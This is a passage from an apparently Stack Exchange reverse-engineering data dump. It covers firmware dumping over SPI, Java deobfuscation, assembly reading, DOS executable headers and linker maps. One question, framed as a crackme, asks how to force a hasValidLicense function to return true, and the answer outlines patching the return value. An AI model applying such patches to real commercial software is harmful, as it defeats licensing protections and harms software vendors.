  <row Id="14543" PostTypeId="1" AcceptedAnswerId="14544" CreationDate="2017-02-01T17:44:24.757" Score="0" ViewCount="661" Body="&lt;p&gt;I'm trying to wire a &lt;a href=&quot;https://www.winbond.com/resource-files/w25q128fv_revhh1_100913_website1.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Winbond W25Q128FV&lt;/a&gt; to my &lt;a href=&quot;https://www.raspberrypi.org/documentation/usage/gpio/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rasberry Pi Model 1B&lt;/a&gt; so that I can dump the firmware. I'll be using an SOIC8 clip and probe cables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I'm thinking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Flash&lt;/strong&gt; ----- &lt;strong&gt;rPi&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CS ----- CS0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DO ----- MISO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP ----- ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GND ----- GND&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VCC ----- 3V3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOLD ----- ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CLK ----- SCLK&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DI ----- MOSI&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read that WP and HOLD/RESET should also be connected to 3V3, but there's only 2 3V3 pins on my pi?&lt;/p&gt;&#xA;" OwnerUserId="18965" LastActivityDate="2017-02-01T20:45:05.327" Title="Wiring Flash Chip to Raspberry Pi" Tags="|firmware|memory|flash|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14544" PostTypeId="2" ParentId="14543" CreationDate="2017-02-01T19:36:18.247" Score="0" Body="&lt;p&gt;You don't need to use WP and HOLD at all. It will work without.&#xA;You can try without first. Is write protect enabled?&lt;/p&gt;&#xA;" OwnerUserId="4602" LastEditorUserId="4602" LastEditDate="2017-02-01T19:55:38.273" LastActivityDate="2017-02-01T19:55:38.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14547" PostTypeId="1" AcceptedAnswerId="14548" CreationDate="2017-02-01T21:14:02.627" Score="-2" ViewCount="4061" Body="&lt;p&gt;Any idea how to reverse obfuscated java code !?&lt;/p&gt;&#xA;" OwnerUserId="18976" LastEditorUserId="18976" LastEditDate="2017-02-02T08:37:57.703" LastActivityDate="2017-02-02T08:37:57.703" Title="Reverse-obfuscated Java code" Tags="|java|decompiler|jar|" AnswerCount="1" CommentCount="1" ClosedDate="2017-02-02T08:48:35.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="14548" PostTypeId="2" ParentId="14547" CreationDate="2017-02-01T21:47:21.877" Score="0" Body="&lt;p&gt;Decompilation is useful for reverse engineering, but in most cases, you won't be able to recompile the results, because compilation and decompilation are lossy processes and obfuscation exacerbates that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you understand Java bytecode, a good way to edit JARs is to use a bytecode assembler/disassembler such as &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau&lt;/a&gt;. Since this operates directly at the level of compiled bytecode, you can edit any Java classfiles, no matter how obfuscated, and you don't have to worry about compiler errors.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2017-02-01T21:47:21.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14549" PostTypeId="1" AcceptedAnswerId="14550" CreationDate="2017-02-01T22:22:20.000" Score="0" ViewCount="103" Body="&lt;p&gt;This windows application checks the available disk space when an attempt is made to enable a feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message can be translated into &quot;You need 2145461018 more bytes to load this tileset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choosing other tilesets might even yield a message claiming that a negative amount of bytes is needed. This could indicate a buffer overflow. Notice the window title &quot;Error space on disk&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to disable that memory check using the simplest method possible, but I am willing to disassemble it despite having next to zero knowledge which winapi calls are using to check the free disk space. I am grateful for any hint!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried the compatibility options on the shortcut properties, which didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error can also be reproduced in a vm guest with windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PE Explorer shows this is a WIN32 GUI app with a subsystem version 3.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/owmTL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/owmTL.png&quot; alt=&quot;application screenshot from vm&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18979" LastActivityDate="2017-02-01T22:54:45.167" Title="How to bypass this old windows application's free disk space check?" Tags="|windows|winapi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14550" PostTypeId="2" ParentId="14549" CreationDate="2017-02-01T22:54:45.167" Score="0" Body="&lt;p&gt;Apparently creating a ramdisk was enough to fool the application. I used the tool ImDisk and mounted a 50MB disk on which I installed the application.&lt;/p&gt;&#xA;" OwnerUserId="18979" LastActivityDate="2017-02-01T22:54:45.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14551" PostTypeId="1" AcceptedAnswerId="14552" CreationDate="2017-02-02T07:16:41.127" Score="1" ViewCount="960" Body="&lt;p&gt;I'm trying to learn Reverse Engineering, at this time I compile C++ code without any optimization and see the correspond assembly in IDA's disassembler, but there are some parts of the code, where I can not guess what happens.&#xA;There are some questions in the Assembly code below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C++ code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;&#xA;void fillarray(int is[11], int size)&#xA;{&#xA;    for (int i = 0; i &amp;lt; size; ++i)&#xA;    {&#xA;        is[i] = i;&#xA;    }&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    char* chr = &quot;First&quot;;&#xA;    std::string m = &quot;Secdond&quot;;&#xA;&#xA;    static int arr[11];&#xA;&#xA;    std::string m1 = &quot;Third&quot;;&#xA;&#xA;    auto size = sizeof(arr) / sizeof(arr[0]);&#xA;&#xA;    fillarray(arr, size);&#xA;&#xA;    int num = 11;&#xA;&#xA;    printf_s(&quot;%d&quot;, num);&#xA;&#xA;&#xA;    getchar();&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main function in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401E20&#xA;.text:00401E20&#xA;.text:00401E20 ; Attributes: bp-based frame&#xA;.text:00401E20&#xA;.text:00401E20 ; int __cdecl main(int argc, const char **argv, const char **envp)&#xA;.text:00401E20 main proc near&#xA;.text:00401E20&#xA;.text:00401E20 First_via_char= dword ptr -50h&#xA;.text:00401E20 var_4C= dword ptr -4Ch&#xA;.text:00401E20 var_eleven= dword ptr -48h&#xA;.text:00401E20 size= dword ptr -44h&#xA;.text:00401E20 Second_via_str= byte ptr -40h&#xA;.text:00401E20 Third_via_str= byte ptr -28h&#xA;.text:00401E20 CANARY= dword ptr -10h&#xA;.text:00401E20 var_C= dword ptr -0Ch&#xA;.text:00401E20 var_4= dword ptr -4&#xA;.text:00401E20 argc= dword ptr  8&#xA;.text:00401E20 argv= dword ptr  0Ch&#xA;.text:00401E20 envp= dword ptr  10h&#xA;.text:00401E20&#xA;.text:00401E20 push    ebp&#xA;.text:00401E21 mov     ebp, esp&#xA;.text:00401E23 push    0FFFFFFFFh&#xA;.text:00401E25 push    offset sub_402D20&#xA;.text:00401E2A mov     eax, large fs:0         // what is this? I know that fs:0 is to access PEB, but why this code uses this? &#xA;.text:00401E30 push    eax&#xA;.text:00401E31 sub     esp, 44h&#xA;.text:00401E34 mov     eax, ___security_cookie&#xA;.text:00401E39 xor     eax, ebp&#xA;.text:00401E3B mov     [ebp+CANARY], eax       // I thinks it's CANARY&#xA;.text:00401E3E push    eax&#xA;.text:00401E3F lea     eax, [ebp+var_C]       // what is var_C for?&#xA;.text:00401E42 mov     large fs:0, eax        // At this moment, var_C is uninitialized. How and why programm need this?&#xA;.text:00401E48 mov     [ebp+First_via_char], offset aFirst ; &quot;First&quot;&#xA;.text:00401E4F push    offset aSecdond ; &quot;Secdond&quot;&#xA;.text:00401E54 lea     ecx, [ebp+Second_via_str]&#xA;.text:00401E57 call    basic_string&#xA;.text:00401E5C mov     [ebp+var_4], 0&#xA;.text:00401E63 push    offset aThird   ; &quot;Third&quot;&#xA;.text:00401E68 lea     ecx, [ebp+Third_via_str]&#xA;.text:00401E6B call    basic_string&#xA;.text:00401E70 mov     byte ptr [ebp+var_4], 1      // what is var_4?&#xA;.text:00401E74 mov     [ebp+size], 0Bh&#xA;.text:00401E7B mov     eax, [ebp+size]&#xA;.text:00401E7E push    eax&#xA;.text:00401E7F push    offset unk_404098 ; address of arrary&#xA;.text:00401E84 call    fill_array_function&#xA;.text:00401E89 add     esp, 8&#xA;.text:00401E8C mov     [ebp+var_eleven], 0Bh&#xA;.text:00401E93 mov     ecx, [ebp+var_eleven]&#xA;.text:00401E96 push    ecx&#xA;.text:00401E97 push    offset aD       ; &quot;%d&quot;&#xA;.text:00401E9C call    printf&#xA;.text:00401EA1 add     esp, 8&#xA;.text:00401EA4 call    ds:getchar&#xA;.text:00401EAA mov     [ebp+var_4C], 0&#xA;.text:00401EB1 mov     byte ptr [ebp+var_4], 0&#xA;.text:00401EB5 lea     ecx, [ebp+Third_via_str]&#xA;.text:00401EB8 call    sub_401270                    // What is this? I think it's destructor, but I'm not sure.&#xA;.text:00401EBD mov     [ebp+var_4], 0FFFFFFFFh&#xA;.text:00401EC4 lea     ecx, [ebp+Second_via_str]&#xA;.text:00401EC7 call    sub_401270                    // Destructor?&#xA;.text:00401ECC mov     eax, [ebp+var_4C]             // what is var_4C?&#xA;.text:00401ECF mov     ecx, [ebp+var_C]              // var_C?&#xA;.text:00401ED2 mov     large fs:0, ecx&#xA;.text:00401ED9 pop     ecx&#xA;.text:00401EDA mov     ecx, [ebp+CANARY]&#xA;.text:00401EDD xor     ecx, ebp&#xA;.text:00401EDF call    sub_401F68&#xA;.text:00401EE4 mov     esp, ebp&#xA;.text:00401EE6 pop     ebp&#xA;.text:00401EE7 retn&#xA;.text:00401EE7 main endp&#xA;.text:004&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18423" LastActivityDate="2017-02-02T08:59:11.033" Title="Assembly and C++" Tags="|disassembly|assembly|c++|c|patch-reversing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14552" PostTypeId="2" ParentId="14551" CreationDate="2017-02-02T08:59:11.033" Score="3" Body="&lt;p&gt;The parts you've commented are mostly related to exception handling. The compiler has to guard for possible exceptions which may happen at any time, even if your program does not explicitly use exceptions. In particular, &lt;code&gt;var_4&lt;/code&gt; is the so-called &quot;trylevel&quot; of the current execution point and &lt;code&gt;var_C&lt;/code&gt; is the exception registration record for the SEH mechanism. &lt;code&gt;CANARY&lt;/code&gt; is indeed the stack overflow protection canary (&quot;cookie&quot; in MSVC terminology).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more details in &lt;a href=&quot;http://www.openrce.org/articles/full_view/21&quot; rel=&quot;nofollow noreferrer&quot;&gt;my OpenRCE article&lt;/a&gt; on the topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. &lt;code&gt;var_4C&lt;/code&gt; is just a temporary variable used to store the return value of the function (0). It is saved because the destruction of the strings has to happen  after the return statement but before the actual return from the function.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-02-02T08:59:11.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14553" PostTypeId="1" AcceptedAnswerId="14554" CreationDate="2017-02-02T10:10:42.270" Score="3" ViewCount="7592" Body="&lt;p&gt;I've been disassembling an MS-DOS EXE and I've been using this link &lt;a href=&quot;http://www.delorie.com/djgpp/doc/exe/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.delorie.com/djgpp/doc/exe/&lt;/a&gt; to make heads and tails of the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header seems to be an older version compared to the headers that precede the PE segment found in today's modern Windows executables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using nasm's (Disassembler), but the program is not as complex as IDA Pro. Finding it hard to find main function entry point, especially with the disassembler engine working on an offset based logic to determine the decoding per instruction and due to the nature I'm also not familiar with the standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming the IP field in the MS-DOS could be the main function entry point of the executable and was hoping someone or somebody could confirm my speculations.&lt;/p&gt;&#xA;" OwnerUserId="18989" LastActivityDate="2017-03-08T08:50:43.287" Title="Disassembling an MS-DOS EXE" Tags="|disassembly|x86|executable|dos-exe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14554" PostTypeId="2" ParentId="14553" CreationDate="2017-02-02T12:27:11.247" Score="4" Body="&lt;p&gt;The entry point is calculated like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;((header_paragraphs + cs) &amp;lt;&amp;lt; 4) + ip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wrote a MZ exe disassembler time ago, take a &lt;a href=&quot;https://github.com/Nico01/ded&quot; rel=&quot;nofollow noreferrer&quot;&gt;look&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15684" LastActivityDate="2017-02-02T12:27:11.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14556" PostTypeId="1" CreationDate="2017-02-02T17:44:44.387" Score="1" ViewCount="373" Body="&lt;p&gt;I'd like to write a Radare2 plugin for a legacy 48-bit word-oriented CPU which has two 24-bit instructions per word, and, naturally, uses word addressing. I wrote a disassembler plugin which prints the instructions, but it is hard to follow the control flow.&#xA;It would be nice to have word offsets printed on the left instead of the byte offsets, and to be able to specify the way raw instructions are printed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible in the current version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        0x00001800    002041       mode 101&#xA;        0x00001803    2a04b0       seti 2260(r2)&#xA;        0x00001806    aa0542       seti 2502(r12)&#xA;        0x00001809    6a7fd2       seti 77722(r6) ; 0x0000007f &#xA;        0x0000180c    00855f       ld   2537&#xA;        0x0000180f    000585       st   2605&#xA;        0x00001812    01e041       shr  1&#xA;        0x00001815    6005b4       st   2664(r6)&#xA;        0x00001818    6f8403       loop 2003(r6)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like, ideally, to get something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           02000 00 002 0101    mode 101&#xA;                 02 24 02260    seti 2260(r2)&#xA;           02001 12 24 02502    seti 2502(r12)&#xA;                 06 24 77722    seti 77722(r6)&#xA;           02002 00 010 2537    ld   2537&#xA;                 00 000 2605    st   2605&#xA;           02003 00 036 0101    shr  1&#xA;                 06 000 2664    st   2664(r6)&#xA;           02004 06 37 02003    loop 2003(r6)&#xA;                 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The 0x0000007f comment is likely due to the x86 analyzer which kicks in by default, is that right?)&lt;/p&gt;&#xA;" OwnerUserId="18386" LastEditorUserId="18386" LastEditDate="2017-05-05T07:41:06.547" LastActivityDate="2018-04-06T10:42:37.900" Title="Can Radare2 support word-oriented architectures?" Tags="|disassembly|radare2|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14557" PostTypeId="5" CreationDate="2017-02-02T17:48:59.350" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2017-02-02T17:48:59.350" LastActivityDate="2017-02-02T17:48:59.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14558" PostTypeId="4" CreationDate="2017-02-02T17:48:59.350" Score="0" Body="Mostly used for explaining core components of an operating system." OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2017-02-04T19:58:22.660" LastActivityDate="2017-02-04T19:58:22.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14559" PostTypeId="1" AcceptedAnswerId="14560" CreationDate="2017-02-02T18:36:52.810" Score="-1" ViewCount="6557" Body="&lt;p&gt;Sorry, I'm quite new to assembly, and I'm trying to make the code bellow return true:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:1000E3E0 ; =============== S U B R O U T I N E =======================================&#xA;.text:1000E3E0&#xA;.text:1000E3E0&#xA;.text:1000E3E0 ; bool __thiscall LicenseChecker::LicenseCheckerPlugin::hasValidLicense(LicenseChecker::LicenseCheckerPlugin *__hidden this)&#xA;.text:1000E3E0                 public ?hasValidLicense@LicenseCheckerPlugin@LicenseChecker@@QAE_NXZ&#xA;.text:1000E3E0 ?hasValidLicense@LicenseCheckerPlugin@LicenseChecker@@QAE_NXZ proc near&#xA;.text:1000E3E0                                         ; DATA XREF: .rdata:off_10024D68o&#xA;.text:1000E3E0                 mov     eax, [ecx+0Ch]&#xA;.text:1000E3E3                 mov     al, [eax+20h]&#xA;.text:1000E3E6                 retn&#xA;.text:1000E3E6 ?hasValidLicense@LicenseCheckerPlugin@LicenseChecker@@QAE_NXZ endp&#xA;.text:1000E3E6&#xA;.text:1000E3E6 ; ---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On a &quot;crackme&quot;. I heard somewhere that 1 returns true, but no idea on how to do it.&#xA;I searched the web, but I simply couldn't understand what to do. I'm used to high-level programming languages, so assembly confuses me a lot.&#xA;Sorry for asking for such a simple thing.&lt;/p&gt;&#xA;" OwnerUserId="18615" LastEditorUserId="18615" LastEditDate="2017-12-19T03:30:21.670" LastActivityDate="2020-12-05T12:24:22.030" Title="Make this function return true" Tags="|ida|disassembly|assembly|patching|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14560" PostTypeId="2" ParentId="14559" CreationDate="2017-02-02T20:07:07.243" Score="0" Body="&lt;p&gt;Very easy. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Check out the calling conventions that your binary follows;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Patch* with a &lt;strong&gt;mov&lt;/strong&gt; of &lt;strong&gt;1&lt;/strong&gt; to the register used for return values (most likely to be &lt;strong&gt;rax&lt;/strong&gt; variant) before the &lt;strong&gt;return&lt;/strong&gt; instruction : &lt;em&gt;mov rax, 1&lt;/em&gt;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your function should return &lt;strong&gt;1&lt;/strong&gt; all the time, regardless of whatever happens before the &lt;strong&gt;return&lt;/strong&gt; instruction;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(*) Patching can be done manually using a hex editor or you can use OllyDBG or any tool that permits such transformations (check the web ;) ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simple and concise answer. If you wish more details, let me know.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2017-02-03T07:36:10.780" LastActivityDate="2017-02-03T07:36:10.780" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14563" PostTypeId="2" ParentId="8306" CreationDate="2017-02-04T06:34:51.297" Score="2" Body="&lt;p&gt;Information about symbols resolved at link time, including the symbol name and memory address, can be acquired by by executing &lt;code&gt;ld&lt;/code&gt; with the &lt;code&gt;-M&lt;/code&gt; option plus the name of the object file to be linked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ld -M &amp;lt;OBJECT FILE&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will result in a link map being printed to STDOUT. Of course, this output can also be redirected to a file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ld -M &amp;lt;OBJECT FILE&amp;gt;  &amp;gt;  &amp;lt;OUTPUT FILE&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following description of the &lt;code&gt;-M&lt;/code&gt; option is given in the &lt;a href=&quot;http://man7.org/linux/man-pages/man1/ld.1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual page for ld(1)&lt;/a&gt; as well as in &lt;a href=&quot;https://sourceware.org/binutils/docs/ld/Options.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;section 2.1 &quot;Command Line Options&quot;&lt;/a&gt; in the &lt;a href=&quot;https://sourceware.org/binutils/docs/ld/&quot; rel=&quot;nofollow noreferrer&quot;&gt;sourceware.org documentation of ld&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-M&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;--print-map&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Print a link map to the standard output. A link map provides information                      about the link, including the following:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Where object files are mapped into memory.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;How common symbols are allocated.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;The values assigned to symbols.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                 foo = 1&#xA;                 foo = foo * 4&#xA;                 foo = foo + 8&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;will produce the following output in the link map if the -M option is used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                     0x00000001                foo = 0x1&#xA;                     [0x0000000c]                foo = (foo * 0x4)&#xA;                     [0x0000000c]                foo = (foo + 0x8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;See &lt;a href=&quot;https://sourceware.org/binutils/docs/ld/Expressions.html#Expressions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Expressions&lt;/a&gt; for more information about expressions in linker scripts. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is an example link map snippet for an i386 ELF32 object file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;&amp;lt;= snip =&amp;gt;&amp;gt;&#xA;&#xA;.plt.got&#xA; *(.plt.got)&#xA;&#xA;.text           0x0000000008048074        0xa&#xA; *(.text.unlikely .text.*_unlikely .text.unlikely.*)&#xA; *(.text.exit .text.exit.*)&#xA; *(.text.startup .text.startup.*)&#xA; *(.text.hot .text.hot.*)&#xA; *(.text .stub .text.* .gnu.linkonce.t.*)&#xA; .text          0x0000000008048074        0xa test.o&#xA;                0x0000000008048074                main&#xA; *(.gnu.warning)&#xA;&#xA;.fini&#xA; *(SORT(.fini))&#xA;                [!provide]                        PROVIDE (__etext, .)&#xA;                [!provide]                        PROVIDE (_etext, .)&#xA;                [!provide]                        PROVIDE (etext, .)    &#xA;.rodata&#xA; *(.rodata .rodata.* .gnu.linkonce.r.*)&#xA;&#xA;.rodata1&#xA; *(.rodata1)&#xA;&#xA;.eh_frame_hdr&#xA; *(.eh_frame_hdr)&#xA; *(.eh_frame_entry .eh_frame_entry.*)&#xA;&#xA;.eh_frame       0x0000000008048080       0x38&#xA; *(.eh_frame)&#xA; .eh_frame      0x0000000008048080       0x38 test.o&#xA; *(.eh_frame.*)&#xA;&#xA;&amp;lt;&amp;lt;= snip =&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this is insufficient for your purposes and would like to manipulate the linker with a custom script, section &quot;&lt;a href=&quot;https://sourceware.org/binutils/docs/ld/Scripts.html#Scripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;3: Linker Scripts&lt;/a&gt;&quot; at sourceware.org may be helpful. Some documentation of the Link Editor Command Language can also be found on page 524 in the &lt;a href=&quot;http://tenox.net/docs/attunixpc/ATT_UnixPC_Model_7300_Unix_System_V_Programmers_Guide.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;AT&amp;amp;T UNIX™ PC Model 7300 Unix System V Programmers Guide&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can also be found in the &lt;a href=&quot;https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=blob;f=ld/ld.texinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;ld.texinfo&lt;/a&gt; file which is part of the &lt;a href=&quot;https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=tree;f=ld&quot; rel=&quot;nofollow noreferrer&quot;&gt;source for &lt;code&gt;ld&lt;/code&gt;&lt;/a&gt;. There is also a document called &lt;a href=&quot;https://www.eecs.umich.edu/courses/eecs373/readings/Linker.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;The GNU Linker&lt;/a&gt;, which discusses linker scripts in 40 pages or so. &lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-02-06T18:49:02.960" LastActivityDate="2017-02-06T18:49:02.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14569" PostTypeId="1" AcceptedAnswerId="14593" CreationDate="2017-02-04T18:06:43.510" Score="1" ViewCount="2473" Body="&lt;p&gt;IDA Pro 6.95. From the menu I can use Edit... Export data... C unsigned char array (hex).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do this in a Python script without rewriting what already works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked for a way to find a list of the commands I have performed through the GUI menus, but export data is not the sort of thing that appears in an IDC file.&lt;/p&gt;&#xA;" OwnerUserId="19027" LastActivityDate="2017-02-07T14:33:37.500" Title="IDA Pro Export C style array using Python instead of GUI menu" Tags="|ida|idapython|array|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14570" PostTypeId="2" ParentId="14556" CreationDate="2017-02-04T18:10:44.543" Score="4" Body="&lt;p&gt;I dont know what is a word based arch. but if you refer to fixed size instructions yes, in r2 you can define the alignment, minimum and maximum instruction sizes and default size of invalid instructions. So yep you can do all this stuff with radare.&lt;/p&gt;&#xA;" OwnerUserId="14564" LastActivityDate="2017-02-04T18:10:44.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14571" PostTypeId="1" CreationDate="2017-02-04T22:48:16.367" Score="3" ViewCount="1132" Body="&lt;p&gt;I have a compiled Tricore binary that I am patching. By creating a .asm file from IDA Pro of a function and reformatting it, I can get it to reassemble faithfully apart from call (relative) and jump (relative) instructions. One of the reasons for going through this was so that the assembler would automatically recalculate the offsets from the program counter for the relative jumps and calls in the relocated code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The failure is because the .org 0x80280000 is not working as I hoped and the a.out file has a base of 0x0 so the call and j are not reachable from that address. I do not want to alter the code to absolute calli. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fails:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.org 0x80280000&#xA;call 0x8027024C&#xA;j    0x80292420&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;orgtest1.s: Assembler messages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;orgtest1.s:2: Error: Opcode/operand mismatch: call 0x8027024C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;orgtest1.s:3: Error: Opcode/operand mismatch: j 0x80292420&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fails:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call 0x8027024C&#xA;j    0x80292420&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;orgtest1.s:1: Error: Opcode/operand mismatch: call 0x8027024C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;orgtest1.s:2: Error: Opcode/operand mismatch: j 0x80292420&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This succeeds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call 0x7024C&#xA;j    0x92420&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is not that the instructions are illegal (and jumping to a lower address is legal), but that I cannot find a way to tell the assembler where the origin 